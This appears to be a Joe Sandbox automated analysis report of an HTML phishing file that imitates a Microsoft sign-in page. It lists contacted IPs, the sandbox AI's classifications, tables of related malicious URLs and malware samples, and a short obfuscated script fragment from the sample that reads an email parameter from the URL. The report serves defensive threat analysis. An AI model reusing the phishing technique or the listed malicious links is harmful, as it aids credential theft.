https://getbootstrap.com/)	chromecache_75.2.dr, chromecache_78.2.dr	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.18.10.207	maxcdn.bootstrapcdn.com	United States	13335	CLOUDFLARENETUS	false
104.18.11.207	stackpath.bootstrapcdn.com	United States	13335	CLOUDFLARENETUS	false
151.101.2.137	unknown	United States	54113	FASTLYUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
172.67.145.45	unknown	United States	13335	CLOUDFLARENETUS	false
104.21.33.126	mrmoney.appcourtservices.com	United States	13335	CLOUDFLARENETUS	false
170.106.97.198	cos.na-siliconvalley.myqcloud.com	Singapore	132203	TENCENT-NET-AP-CNTencentBuildingKejizhongyiAvenueCN	false
152.199.21.175	sni1gl.wpc.omegacdn.net	United States	15133	EDGECASTUS	false
151.101.194.137	code.jquery.com	United States	54113	FASTLYUS	false
172.217.21.36	www.google.com	United States	15169	GOOGLEUS	false
104.17.25.14	cdnjs.cloudflare.com	United States	13335	CLOUDFLARENETUS	false

Private

IP
192.168.2.16

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1580372
Start date and time:	2024-12-24 11:54:43 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 8s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowsinteractivecookbook.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	13
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Audio02837498.html
Detection:	MAL
Classification:	mal72.phis.winHTML@14/33@30/12
Cookbook Comments:	Found application associated with file extension: .html

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, SIHClient.exe, SgrmBroker.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 172.217.21.35, 142.250.181.142, 173.194.220.84, 142.250.181.74, 172.217.17.35, 172.217.19.206, 172.217.17.46, 23.218.208.109, 4.245.163.56, 13.107.246.63
Excluded domains from analysis (whitelisted): clients1.google.com, fs.microsoft.com, accounts.google.com, slscr.update.microsoft.com, ajax.googleapis.com, aadcdnoriginwus2.azureedge.net, clientservices.googleapis.com, aadcdn.msauth.net, firstparty-azurefd-prod.trafficmanager.net, fe3cr.delivery.mp.microsoft.com, clients2.google.com, edgedl.me.gvt1.com, redirector.gvt1.com, update.googleapis.com, aadcdnoriginwus2.afd.azureedge.net, clients.l.google.com
Not all processes where analyzed, report is missing behavior information
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: Audio02837498.html

Input	Output
URL: file:///C:/Users/user/Desktop/Audio02837498.html... Model: Joe Sandbox AI	{ "risk_score": 5, "reasoning": "The script uses obfuscated code and extracts data from the URL query string, which could potentially be used for data exfiltration. However, without more context, it's difficult to determine the true intent of the script. Further investigation is needed to assess the risk more accurately." }
const ptrjkso = (dineutron) => { dineutron = dineutron.replace(/[\[]/, '\\[').replace(/[\]]/, '\\]'); var infectionist = new RegExp('[\\?&]' + dineutron + '=([^&#]*)'); var ostentate = infectionist.exec(location.search); // Quis strip steak nisi sunt tempor consequat picanha jerky duis enim. return ostentate === null ? '' : decodeURIComponent(ostentate[1].replace(/\+/g, ' ')); } //Occaecat cillum incididunt sint voluptate ullamco flank est pastrami nisi ut jowl ea pig swine. rh13z8jemt = ptrjkso('e') == '' ? rh13z8jemt : ptrjkso('e');
URL: :// Model: Joe Sandbox AI	{ "typosquatting": false, "unusual_query_string": false, "suspicious_tld": false, "ip_in_url": false, "long_subdomain": false, "malicious_keywords": false, "encoded_characters": false, "redirection": false, "contains_email_address": false, "known_domain": false, "brand_spoofing_attempt": false, "third_party_hosting": false }
URL: ://
URL: file:///C:/Users/user/Desktop/Audio02837498.html Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "Sign in options", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: file:///C:/Users/user/Desktop/Audio02837498.html Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "Sign in options", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: file:///C:/Users/user/Desktop/Audio02837498.html Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }
URL: file:///C:/Users/user/Desktop/Audio02837498.html Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }
URL: file:///C:/Users/user/Desktop/Audio02837498.html Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "Sign in", "text_input_field_labels": [ "Password" ], "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: file:///C:/Users/user/Desktop/Audio02837498.html Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "Sign in", "text_input_field_labels": [ "Password" ], "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: file:///C:/Users/user/Desktop/Audio02837498.html Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }
URL: file:///C:/Users/user/Desktop/Audio02837498.html Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.18.11.207	http://googlle.com	Get hash	malicious	Unknown	Browse	maxcdn.bootstrapcdn.com/font-awesome/4.1.0/fonts/fontawesome-webfont.woff?v=4.1.0
	https://city-of-goodyear.webnode.page/	Get hash	malicious	Unknown	Browse	maxcdn.bootstrapcdn.com/bootstrap/3.3.4/css/bootstrap-theme.min.css
	http://Voyages.CNTraveler.com	Get hash	malicious	Unknown	Browse	maxcdn.bootstrapcdn.com/font-awesome/4.3.0/fonts/fontawesome-webfont.woff2?v=4.3.0
	http://185.67.82.114	Get hash	malicious	Unknown	Browse	maxcdn.bootstrapcdn.com/bootstrap/3.2.0/js/bootstrap.min.js
	SecuriteInfo.com.Exploit.Siggen3.17149.4489.xls	Get hash	malicious	Unknown	Browse	netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
	SecuriteInfo.com.Exploit.Siggen3.17149.3543.xls	Get hash	malicious	Unknown	Browse	netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
	SecuriteInfo.com.Exploit.Siggen3.17149.3543.xls	Get hash	malicious	Unknown	Browse	netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
	SecuriteInfo.com.Exploit.Siggen3.17149.24514.xls	Get hash	malicious	Unknown	Browse	netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
	SecuriteInfo.com.Exploit.Siggen3.17149.12724.xls	Get hash	malicious	Unknown	Browse	netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
	SecuriteInfo.com.Exploit.Siggen3.17149.8245.xls	Get hash	malicious	Unknown	Browse	netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
151.101.2.137	http://novo.oratoriomariano.com/novo/	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery-3.3.1.min.js
	http://facebooksecurity.blogspot.dk/	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery-1.7.min.js
	http://soporte-store.info/icloud2022-esp.php	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery-1.11.3.min.js
	http://applela.za.com/isignesp.php?id=	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery-1.11.3.min.js
	http://www.oodlesoftraffic.com/ec/JaneMarksHealth/1934/acmariix2/	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery-1.9.1.js
	http://awqffg.newburuan2023.biz.id/next.php	Get hash	malicious	HTMLPhisher	Browse	code.jquery.com/jquery-1.10.2.min.js
104.18.10.207	http://desifoodcorner.wb4.xyz/	Get hash	malicious	Unknown	Browse	maxcdn.bootstrapcdn.com/font-awesome/4.7.0/fonts/fontawesome-webfont.woff2?v=4.7.0
	SecuriteInfo.com.Exploit.Siggen3.17149.11632.xls	Get hash	malicious	Unknown	Browse	netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
	SecuriteInfo.com.Exploit.Siggen3.17149.10211.xls	Get hash	malicious	Unknown	Browse	netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
	SecuriteInfo.com.Exploit.Siggen3.17149.10211.xls	Get hash	malicious	Unknown	Browse	netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
	SecuriteInfo.com.Exploit.Siggen3.17149.6905.xls	Get hash	malicious	Unknown	Browse	netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
	SecuriteInfo.com.Exploit.Siggen3.17149.32268.xls	Get hash	malicious	Unknown	Browse	netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
	SecuriteInfo.com.Exploit.Siggen3.17149.6905.xls	Get hash	malicious	Unknown	Browse	netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
	SecuriteInfo.com.Exploit.Siggen3.17149.4633.xls	Get hash	malicious	Unknown	Browse	netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
	SecuriteInfo.com.Exploit.Siggen3.17149.21631.xls	Get hash	malicious	Unknown	Browse	netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
	SecuriteInfo.com.Exploit.Siggen3.17149.14541.xls	Get hash	malicious	Unknown	Browse	netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
code.jquery.com	https://app.salesforceiq.com/r?target=631f420eed13ca3bcf77c324&t=AFwhZf065tBQQJtb1QfwP5t--0vgBJ0h_ebIEq5KFXSXqUZai5J8FQSwWrq93GQOlAns9KDGvW4ICfvxj8Z5CJD1Q9Wt5o0NW5c0cKHizUAbubpaOgmKjcVLdh1YXO2nIltTeoePggUL&url=https://monaghans.jimdosite.com	Get hash	malicious	HTMLPhisher	Browse	151.101.66.137
	http://au.kirmalk.com/watch.php?vid=7750fd3c8	Get hash	malicious	Unknown	Browse	151.101.66.137
	eCompleted_419z.pdf	Get hash	malicious	HTMLPhisher	Browse	151.101.2.137
	https://en.newsnowbangla.com/archives/69912	Get hash	malicious	HTMLPhisher, TechSupportScam	Browse	151.101.66.137
	https://u48917305.ct.sendgrid.net/ls/click?upn=u001.ztQPJiWtq2gO8V-2Ftd7SxY9UCAq3VScTPSloeIw5UEMPd6e3nbPRvJ98moPTqmrdQ1eNbvwZHJ-2BEb4HrooVFNCTltmXW6SgRONKSmPzdFoWfDQT97cczFZ0vj7M2xBd2izDTi-2BL-2BoVqB8yVzV2GW7vOPvy3s9yVghrOS5vs-2BSnWyzJMkXQxVEReq4oLCDet7QAOvo_JkpSD-2Bg6VoLAQppUKMb-2BxDh4v4nbOeQFT31aoN-2FLkhvFCzY6wdlGM7RTNIi47OKR1tTaghG8tTKssArDNPSXAfX9wO6nsZ2FHn-2FunyaOti-2FaII-2FnbKYDXJOImW-2Bs9f4tYnWj8rqO7L0kp4KNRHBDo0iHoL8DEOGc8GMtzqzsIqERel6-2FxJyY4DBnsnUTOc2I4HCPKA6lxcCEXMtxEA1-2FnQ-3D-3D	Get hash	malicious	HTMLPhisher	Browse	151.101.66.137
	https://www.canva.com/design/DAGaHpv1g1M/bVE7B2sT8b8T3P-e2xb64w/view?utm_content=DAGaHpv1g1M&utm_campaign=designshare&utm_medium=link2&utm_source=uniquelinks&utlId=h1ee3678e45	Get hash	malicious	HTMLPhisher	Browse	151.101.66.137
	Play Aud.html	Get hash	malicious	Unknown	Browse	151.101.66.137
	vFile__0054seconds__Airborn.html	Get hash	malicious	HTMLPhisher	Browse	151.101.194.137
	http://plnbl.io/review/FSUQBEfTfzwH	Get hash	malicious	Unknown	Browse	151.101.130.137
	https://laimilano.powerappsportals.com/	Get hash	malicious	Unknown	Browse	151.101.130.137
cdnjs.cloudflare.com	http://au.kirmalk.com/watch.php?vid=7750fd3c8	Get hash	malicious	Unknown	Browse	104.17.25.14
	https://en.newsnowbangla.com/archives/69912	Get hash	malicious	HTMLPhisher, TechSupportScam	Browse	104.17.24.14
	https://u48917305.ct.sendgrid.net/ls/click?upn=u001.ztQPJiWtq2gO8V-2Ftd7SxY9UCAq3VScTPSloeIw5UEMPd6e3nbPRvJ98moPTqmrdQ1eNbvwZHJ-2BEb4HrooVFNCTltmXW6SgRONKSmPzdFoWfDQT97cczFZ0vj7M2xBd2izDTi-2BL-2BoVqB8yVzV2GW7vOPvy3s9yVghrOS5vs-2BSnWyzJMkXQxVEReq4oLCDet7QAOvo_JkpSD-2Bg6VoLAQppUKMb-2BxDh4v4nbOeQFT31aoN-2FLkhvFCzY6wdlGM7RTNIi47OKR1tTaghG8tTKssArDNPSXAfX9wO6nsZ2FHn-2FunyaOti-2FaII-2FnbKYDXJOImW-2Bs9f4tYnWj8rqO7L0kp4KNRHBDo0iHoL8DEOGc8GMtzqzsIqERel6-2FxJyY4DBnsnUTOc2I4HCPKA6lxcCEXMtxEA1-2FnQ-3D-3D	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	Play Aud.html	Get hash	malicious	Unknown	Browse	104.17.25.14
	vFile__0054seconds__Airborn.html	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	https://qulatrics.com/	Get hash	malicious	Unknown	Browse	104.17.25.14
	https://qulatrics.com/	Get hash	malicious	Unknown	Browse	104.17.25.14
	http://plnbl.io/review/FSUQBEfTfzwH	Get hash	malicious	Unknown	Browse	104.17.25.14
	https://mandrillapp.com/track/click/30363981/app.salesforceiq.com?p=eyJzIjoiQ21jNldfVTIxTkdJZi1NQzQ1SGE3SXJFTW1RIiwidiI6MSwicCI6IntcInVcIjozMDM2Mzk4MSxcInZcIjoxLFwidXJsXCI6XCJodHRwczpcXFwvXFxcL2FwcC5zYWxlc2ZvcmNlaXEuY29tXFxcL3I_dD1BRndoWmYwNjV0QlFRSnRiMVFmd1A1dC0tMHZnQkowaF9lYklFcTVLRlhTWHFVWmFpNUo4RlFTd1dycTkzR1FPbEFuczlLREd2VzRJQ2Z2eGo4WjVDSkQxUTlXdDVvME5XNWMwY0tIaXpVQWJ1YnBhT2dtS2pjVkxkaDFZWE8ybklsdFRlb2VQZ2dVTCZ0YXJnZXQ9NjMxZjQyMGVlZDEzY2EzYmNmNzdjMzI0JnVybD1odHRwczpcXFwvXFxcL21haW4uZDNxczBuMG9xdjNnN28uYW1wbGlmeWFwcC5jb21cIixcImlkXCI6XCI5ZTdkODJiNWQ0NzA0YWVhYTQ1ZjkxY2Y0ZTFmNGRiMFwiLFwidXJsX2lkc1wiOltcImY5ODQ5NWVhMjMyYTgzNjg1ODUxN2Y4ZTRiOTVjZjg4MWZlODExNmJcIl19In0	Get hash	malicious	Unknown	Browse	104.17.24.14
	https://a41c415c7bccad129d61b50d2032009e.aktive-senioren.biz/de/st/1?#bqcnl4tocgzq65tck3bv	Get hash	malicious	Unknown	Browse	104.17.24.14
stackpath.bootstrapcdn.com	https://en.newsnowbangla.com/archives/69912	Get hash	malicious	HTMLPhisher, TechSupportScam	Browse	104.18.11.207
	vFile__0054seconds__Airborn.html	Get hash	malicious	HTMLPhisher	Browse	104.18.10.207
	https://www.cocol88.site/l6v3z.php	Get hash	malicious	Unknown	Browse	104.18.11.207
	https://gateway.lighthouse.storage/ipfs/bafkreigjxudfsi54f5pliswxztgujxgpdhe4uyrezdbg5avbtrclxrxc6i	Get hash	malicious	HTMLPhisher	Browse	104.18.10.207
	Eallentoff_401k_1484013830.html	Get hash	malicious	HTMLPhisher	Browse	104.18.10.207
	https://nicholaspackaging.businesslawcloud.com/mTlFM	Get hash	malicious	HTMLPhisher	Browse	104.18.11.207
	https://e.trustifi.com/#/fff2a1/305619/6dc30e/bb62bb/581844/11c063/a3c1ce/c0ba4d/e8666a/ef542d/85972d/627493/9a11d6/1f4096/1d247f/838c7e/cd63d6/82c9fe/baf706/264690/9188a6/a54400/a45112/68deb9/a1d612/148c70/62dcf5/9cb4f7/9713c0/de2350/884a31/c8623a/2f5546/ab6255/63291e/390e78/6b371c/add804/d4bbed/01f0b4/6023ca/9b7c0b/b0881b/bd8fbb/380790/942e2d/c30675/2c79c4/594b5b/fa5dac/c17e29/ec9861/3d4f90/8d1dd9/15a5f1/e3d291/035383/58ff7f/dcf654/c36a6d/ac2219/0a7478/f49f04/50db6b/1c0640/509cd9/d5eb23/7e01e4/b5bcef/2cfb1e/1cd263/f68c45/7325e0/8e5d9b/dacf2c/074706/a0f040/11bf65/f8b4f7/b49b4f/da74f6/285aa9/b249dd/d9b9c7/1a738e/07e7fa/7ea43f/a69f97/422641/436e51/504e86	Get hash	malicious	HTMLPhisher	Browse	104.18.10.207
	http://ngfreemessage-verifying.freewebhostmost.com/	Get hash	malicious	HTMLPhisher	Browse	104.18.11.207
	https://www.google.gr/url?url=https://pniuvlpkjqhdwff&exox=rvhqtix&eaydny=ysf&gzfds=lqrwiz&nci=qtwmzch&iccvb=yhwtsp&vtqs=avtajyu&oagvzgp=irlq&mvdoc=embwrj&yylmwei=tmn&mntt=qqcvuhkd&lkydbjfiod=izjcgyubqc&q=amp/anre6g6.j%c2%adh%c2%adhn%c2%adt%c2%addd%c2%adsm%c2%ado%c2%admcw%c2%adw%c2%adgu%c2%adno.com%e2%80%8b/99twfh3p8&gcyx=ncgobia&yfevoul=wtloixvv&hukl=qfkmtky&nlhwnbr=bwkoiopy&eqfw=bmcpntp&vlvegw=zdbpajeyq&ghrv=kcdfwrl&kyddme=myxsnvtxf&asco=mgumegd&dvvibf=hzfexefeg&osme=bdyguyp&njtjvd=bkelfwmxg&bxrb=ltpyjsv&girpat=lswjchrwc&qapj=wwwowde&vahefc=ghseyzgyf&ahaj=zfqmkuo&pfsfeu=ttucmtamu&sffs=oxaajjo&hbwhgy=mgfzglmmo&bdwl=oifsufx&befsmv=jskhtmnps&sfjy=powmsnr&zixjqp=jyttdwbmu&fzkp=hztiqjm&jmzuvc=ufyoeqgfi&zujr=jxtbdtg&plvxoh=fxumxxddw&nkin=ykbzrdh&lghzli=agvbttfta&suag=ioudcjc&zpptpx=dxacgdnox&hmfz=yueoymp&fnshpz=wgayslegy&gjtg=qcjjozv&rymask=thcxzfpca&zcgn=ywtonnx&kqrpog=kgfvcqswk&imwa=wlvocxf&ggqznt=budaflbgp&zjhr=zscgach&esrhmq=qjdngljnl&ppoz=nhwzlik&zejsqg=vnvpaymyl&dnqb=kjswpyt&kunwbg=pzauoqliz&bqlz=qabnsnu&dlfnsr=dakxdfzen&uffg=uwnswdr&ywjevz=bnvkfavcb&rrob=celdmvn&czdusr=sjfjazfqw&ipgr=exylggn&fltcvh=sdfsricvf&byfs=apntxot&javhwh=nyphchiee&owbh=haflpez&mbyvqw=pdzpxeedx&ejov=taakkyw&oylsfz=qnzuplrnz&hxrq=ovegslq&duqjcc=pjwdpyvec&uoec=pjouxrb&eiezwk=okbkttiao&knji=kcmfaqe&qmathj=vymnqrvxa&gajs=riewukz&czxhiu=uysriqpma&avwe=gssbenk&jnwgpb=iqkroelwx&sjyt=zhxfzpx&liqoqs=bbajxgpxm&dqqu=ztzooam&haagcu=gkijlwgjy&mnsq=uervedi&yckhpb=ngqrbrqpc&pkne=nwisdfz&eqsiqu=mlrhvpuav	Get hash	malicious	Unknown	Browse	104.18.10.207
	https://atc-secure.com/nocod/wetransdnyd.html#k.muench@muenchundmuench.com	Get hash	malicious	Unknown	Browse	104.18.10.207

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
FASTLYUS	cMTqzvmx9u.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RedLine	Browse	151.101.193.91
	https://app.salesforceiq.com/r?target=631f420eed13ca3bcf77c324&t=AFwhZf065tBQQJtb1QfwP5t--0vgBJ0h_ebIEq5KFXSXqUZai5J8FQSwWrq93GQOlAns9KDGvW4ICfvxj8Z5CJD1Q9Wt5o0NW5c0cKHizUAbubpaOgmKjcVLdh1YXO2nIltTeoePggUL&url=https://monaghans.jimdosite.com	Get hash	malicious	HTMLPhisher	Browse	151.101.66.137
	http://au.kirmalk.com/watch.php?vid=7750fd3c8	Get hash	malicious	Unknown	Browse	151.101.2.137
	eCompleted_419z.pdf	Get hash	malicious	HTMLPhisher	Browse	151.101.2.137
	https://property-management-portal.replit.app/%2520%2522https:/property-management-portal.replit.app/%2522	Get hash	malicious	Unknown	Browse	151.101.2.208
	https://en.newsnowbangla.com/archives/69912	Get hash	malicious	HTMLPhisher, TechSupportScam	Browse	151.101.2.137
	https://u48917305.ct.sendgrid.net/ls/click?upn=u001.ztQPJiWtq2gO8V-2Ftd7SxY9UCAq3VScTPSloeIw5UEMPd6e3nbPRvJ98moPTqmrdQ1eNbvwZHJ-2BEb4HrooVFNCTltmXW6SgRONKSmPzdFoWfDQT97cczFZ0vj7M2xBd2izDTi-2BL-2BoVqB8yVzV2GW7vOPvy3s9yVghrOS5vs-2BSnWyzJMkXQxVEReq4oLCDet7QAOvo_JkpSD-2Bg6VoLAQppUKMb-2BxDh4v4nbOeQFT31aoN-2FLkhvFCzY6wdlGM7RTNIi47OKR1tTaghG8tTKssArDNPSXAfX9wO6nsZ2FHn-2FunyaOti-2FaII-2FnbKYDXJOImW-2Bs9f4tYnWj8rqO7L0kp4KNRHBDo0iHoL8DEOGc8GMtzqzsIqERel6-2FxJyY4DBnsnUTOc2I4HCPKA6lxcCEXMtxEA1-2FnQ-3D-3D	Get hash	malicious	HTMLPhisher	Browse	151.101.194.137
	https://www.canva.com/design/DAGaHpv1g1M/bVE7B2sT8b8T3P-e2xb64w/view?utm_content=DAGaHpv1g1M&utm_campaign=designshare&utm_medium=link2&utm_source=uniquelinks&utlId=h1ee3678e45	Get hash	malicious	HTMLPhisher	Browse	151.101.194.137
	Play Aud.html	Get hash	malicious	Unknown	Browse	151.101.66.137
	vFile__0054seconds__Airborn.html	Get hash	malicious	HTMLPhisher	Browse	151.101.194.137
CLOUDFLARENETUS	SW_48912.scr.exe	Get hash	malicious	FormBook	Browse	104.21.80.1
	cMTqzvmx9u.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RedLine	Browse	104.21.67.146
	Technonomic.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	172.67.177.134
	fnCae9FQhg.exe	Get hash	malicious	LummaC	Browse	104.21.36.201
	bG89JAQXz2.exe	Get hash	malicious	LummaC	Browse	104.21.36.201
	SFtDA07UDr.exe	Get hash	malicious	LummaC	Browse	104.21.36.201
	https://app.salesforceiq.com/r?target=631f420eed13ca3bcf77c324&t=AFwhZf065tBQQJtb1QfwP5t--0vgBJ0h_ebIEq5KFXSXqUZai5J8FQSwWrq93GQOlAns9KDGvW4ICfvxj8Z5CJD1Q9Wt5o0NW5c0cKHizUAbubpaOgmKjcVLdh1YXO2nIltTeoePggUL&url=https://monaghans.jimdosite.com	Get hash	malicious	HTMLPhisher	Browse	162.159.128.70
	https://office356quilter.krkonqghz.ru/Vt2VD2f3#https://outlookofficecom/mail/deleteditems/id/AAQkADU5#aGVpZGkuZGlsa0BxdWlsdGVyLmNvbQ==	Get hash	malicious	Unknown	Browse	104.21.17.63
	http://au.kirmalk.com/watch.php?vid=7750fd3c8	Get hash	malicious	Unknown	Browse	172.67.207.202
	eCompleted_419z.pdf	Get hash	malicious	HTMLPhisher	Browse	104.21.112.1
CLOUDFLARENETUS	SW_48912.scr.exe	Get hash	malicious	FormBook	Browse	104.21.80.1
	cMTqzvmx9u.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RedLine	Browse	104.21.67.146
	Technonomic.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	172.67.177.134
	fnCae9FQhg.exe	Get hash	malicious	LummaC	Browse	104.21.36.201
	bG89JAQXz2.exe	Get hash	malicious	LummaC	Browse	104.21.36.201
	SFtDA07UDr.exe	Get hash	malicious	LummaC	Browse	104.21.36.201
	https://app.salesforceiq.com/r?target=631f420eed13ca3bcf77c324&t=AFwhZf065tBQQJtb1QfwP5t--0vgBJ0h_ebIEq5KFXSXqUZai5J8FQSwWrq93GQOlAns9KDGvW4ICfvxj8Z5CJD1Q9Wt5o0NW5c0cKHizUAbubpaOgmKjcVLdh1YXO2nIltTeoePggUL&url=https://monaghans.jimdosite.com	Get hash	malicious	HTMLPhisher	Browse	162.159.128.70
	https://office356quilter.krkonqghz.ru/Vt2VD2f3#https://outlookofficecom/mail/deleteditems/id/AAQkADU5#aGVpZGkuZGlsa0BxdWlsdGVyLmNvbQ==	Get hash	malicious	Unknown	Browse	104.21.17.63
	http://au.kirmalk.com/watch.php?vid=7750fd3c8	Get hash	malicious	Unknown	Browse	172.67.207.202
	eCompleted_419z.pdf	Get hash	malicious	HTMLPhisher	Browse	104.21.112.1

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Dec 24 09:55:15 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2673
Entropy (8bit):	3.988839818426188
Encrypted:	false
SSDEEP:	48:8oHd8oTcshyHOidAKZdA1FehwiZUklqehey+3:8fowGTty
MD5:	F040154FCB93E99190E56C502AD7E409
SHA1:	6A331DD48AA865AB4A09B20CC7908F79263C2420
SHA-256:	DDCD404784BF14E21F3AD21CA23D038440A102E51327098E9E1C0BE5F44D6B8B
SHA-512:	91314DA685C8FC631A96629CDCEA54973D5EE4770A6A991C1549DC7855724400AF34346F044CA61EA6A511DCB791F0B21150C7A17E42DA834355C08EFF22841D
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.....,.P.U..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I.Y.V....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y.V....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Y.V....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Y.V..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.Y.V...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............,......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Dec 24 09:55:15 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2675
Entropy (8bit):	4.0044190334326855
Encrypted:	false
SSDEEP:	48:8sHd8oTcshyHOidAKZdA1seh/iZUkAQkqehdy+2:8bowG99Q0y
MD5:	68A3C19F65E2990F2568F5C28CD9BF50
SHA1:	F39B24C3B96CCD6FFEAC85706E232DFE60C888EA
SHA-256:	EA9832BDD3A932F4F47AA5B973D6A54F97BE7B66EC1EEB8F7814C3476937AF10
SHA-512:	DA199DB0856A81363FCEB077EA038545D80217647743D4C3FBE5CCC51D0F942E99EABAFC9C37A43916B0E0C1A90D83194C2C3C547AE0D1D850ECAC2D016947FE
Malicious:	false
Reputation:	low
